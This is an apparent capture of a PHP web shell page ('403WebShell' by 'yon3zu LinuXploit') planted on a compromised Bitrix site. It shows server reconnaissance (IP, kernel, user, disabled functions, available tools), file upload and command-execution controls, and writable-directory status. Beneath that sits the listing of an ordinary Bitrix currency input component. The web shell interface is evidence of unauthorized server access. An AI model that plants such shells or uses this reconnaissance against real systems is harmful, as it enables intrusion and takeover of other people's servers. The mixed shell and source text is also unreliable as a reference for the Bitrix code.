%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.223.106.79
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/currency/install/components/bitrix/currency.money.input/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/currency/install/components/bitrix/currency.money.input/class.php
<?php
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

/**
 * Bitrix vars
 *
 * @var array $arParams
 * @var array $arResult
 * @global CMain $APPLICATION
 */

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\SystemException;

class CCurrencyMoneyInputComponent extends \CBitrixComponent
{
	protected $currencyList = array();

	/**
	 * Load language file.
	 */
	public function onIncludeComponentLang()
	{
		$this->includeComponentLang(basename(__FILE__));
		Loc::loadMessages(__FILE__);
	}

	public function onPrepareComponentParams($params)
	{
		$params['CONTROL_ID'] = !empty($params['CONTROL_ID']) ? trim($params['CONTROL_ID']) : 'bxme_'.(\Bitrix\Main\Security\Random::getString(5));
		$params['FIELD_NAME'] = !empty($params['FIELD_NAME']) ? trim($params['FIELD_NAME']) : 'money_'.(\Bitrix\Main\Security\Random::getString(5));
		$params['FIELD_NAME_CURRENCY'] = !empty($params['FIELD_NAME_CURRENCY']) ? trim($params['FIELD_NAME']) : '';
		$params['VALUE'] = $params['VALUE'] <> '' ? trim($params['VALUE']) : '';

		$params['EXTENDED_CURRENCY_SELECTOR'] = $params['EXTENDED_CURRENCY_SELECTOR'] === 'Y' ? 'Y' : 'N';

		return $params;
	}

	/**
	 * Check Required Modules
	 *
	 * @throws Exception
	 */
	protected function checkModules()
	{
		if(!Loader::includeModule('currency'))
		{
			throw new SystemException(Loc::getMessage('CMI_CURRENCY_MODULE_NOT_INSTALLED'));
		}
	}

	protected function prepareData()
	{
		$this->currencyList = \Bitrix\Currency\Helpers\Editor::getListCurrency();
	}

	protected function formatResult()
	{
		$this->arResult['CURRENCY_LIST'] = array();

		$defaultCurrency = '';
		foreach($this->currencyList as $currency => $currencyInfo)
		{
			if($defaultCurrency === '' || $currencyInfo['BASE'] == 'Y')
			{
				$defaultCurrency = $currency;
			}

			$this->arResult['CURRENCY_LIST'][$currency] = $currencyInfo['NAME'];
		}

		$this->arResult['VALUE_NUMBER'] = '';
		$this->arResult['VALUE_CURRENCY'] = '';

		if($this->arParams['VALUE'] <> '')
		{
			list($this->arResult['VALUE_NUMBER'], $this->arResult['VALUE_CURRENCY']) = explode('|', $this->arParams['VALUE']);

			$this->arResult['VALUE_NUMBER'] = $this->formatNumber($this->arResult['VALUE_NUMBER'], $this->arResult['VALUE_CURRENCY']);

			if ($this->arResult['VALUE_CURRENCY'] !== '' && !isset($this->arResult['CURRENCY_LIST'][$this->arResult['VALUE_CURRENCY']]))
				$this->arResult['CURRENCY_LIST'][$this->arResult['VALUE_CURRENCY']] = $this->arResult['VALUE_CURRENCY'];
		}
		else
		{
			$this->arResult['VALUE_CURRENCY'] = $defaultCurrency;
		}
	}

	protected function formatNumber($currentValue, $currentCurrency)
	{
		if($currentValue !== '')
		{
			$format = \CCurrencyLang::GetFormatDescription($currentCurrency);
			//TODO: in the future - remove this hack
			if ($format['THOUSANDS_VARIANT'] == \CCurrencyLang::SEP_NBSPACE)
			{
				$format['THOUSANDS_VARIANT'] = \CCurrencyLang::SEP_SPACE;
				$separators = \CCurrencyLang::GetSeparators();
				$format['THOUSANDS_SEP'] = $separators[\CCurrencyLang::SEP_SPACE];
				unset($separators);
			}
			$currentValue = \CCurrencyLang::formatValue($currentValue, $format, false);
			unset($format);
		}

		return $currentValue;
	}

	protected function initCore()
	{
		if($this->arParams['EXTENDED_CURRENCY_SELECTOR'] === 'Y')
		{
			\CJSCore::Init(array('core_money_editor', 'ui'));
		}
		else
		{
			\CJSCore::Init(array('core_money_editor'));
		}
	}

	public function executeComponent()
	{
		try
		{
			$this->checkModules();
			$this->prepareData();
			$this->formatResult();
			$this->initCore();

			$this->includeComponentTemplate();
		}
		catch(SystemException $e)
		{
			ShowError($e->getMessage());
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit